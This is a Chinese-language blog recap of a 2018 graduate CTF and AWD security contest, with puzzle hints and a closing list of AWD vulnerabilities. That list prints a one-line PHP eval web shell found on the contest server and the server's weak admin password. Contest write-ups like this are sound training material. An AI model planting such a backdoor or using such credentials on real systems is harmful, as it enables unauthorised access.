第二届京津冀研究生网络与信息安全技术大赛记录

原创

promisexb 于 2018-11-08 17:10:46 发布
文章标签： CTF AWD

11月3-4日，在北京工业大学经历了两天的安全比赛。因为之前参加过第一届的比赛，所以对这次比赛的形式还是比较熟悉。首先是两个小时的CTF比赛。第二天下午是三个小时AWD网络攻防模式的比赛。

最后获得二等奖的名词，总体来说，还算满意。作为一个新手，简单的介绍一下比赛内容，希望给以后参加比赛的人一些帮助。

CTF比赛形式：五大类题目 pwn，密码学，杂项，web，逆向 。

每一类五道题目，按难度分别为 200，300，400，500，这次比赛的主办方是安恒，所以如果经常在安恒的平台打比赛，做题的人，可能会发现一些题目似曾相识。200分值的题目比较简单，分值比较高的题，有的并不难，但是脑洞比较大。这次的比赛，我认为脑洞题还是比较多。每类题都设置了1，2，3血。

第二天是AWD模式，每一个小组都有两个需要加固的服务器，第一个服务器上有web服务，是motinfo，第二个服务器上没有web服务。

一共36个队伍，可以互相访问对方的服务器。比赛期间服务器不能宕机，重置服务器前三次免费，之后会扣分，如果服务器宕机被监测出来后不能修复的话，会扣50分。当我们进入当对方服务器后，向flag服务器发送一条命令，即可获得获得flag。每十五分钟一轮flag，共12轮。

CTF部分题目文件：https://github.com/Promise123/ctf/tree/master/Desktop/%E5%AE%89%E6%81%92/CTF%E9%A2%98%E7

浪里淘沙：统计词频，题目给了几个数字，就是排序第几的单词，组合即可。

派大星 ：winhex 找到有用信息，去掉无用的，生成图片

逆向 ： 查看字符串 发现输入顺序就是flag ，输入几次发现是迷宫 即使不逆向 试也可以试出

AWD的部分漏洞：

web服务器，后台登录密码 admin admin123

www文件目录下 有后门文件 door.php <?php @eval($_POST['a']);?>

审计PHP文件，有函数漏洞，可以执行shell命令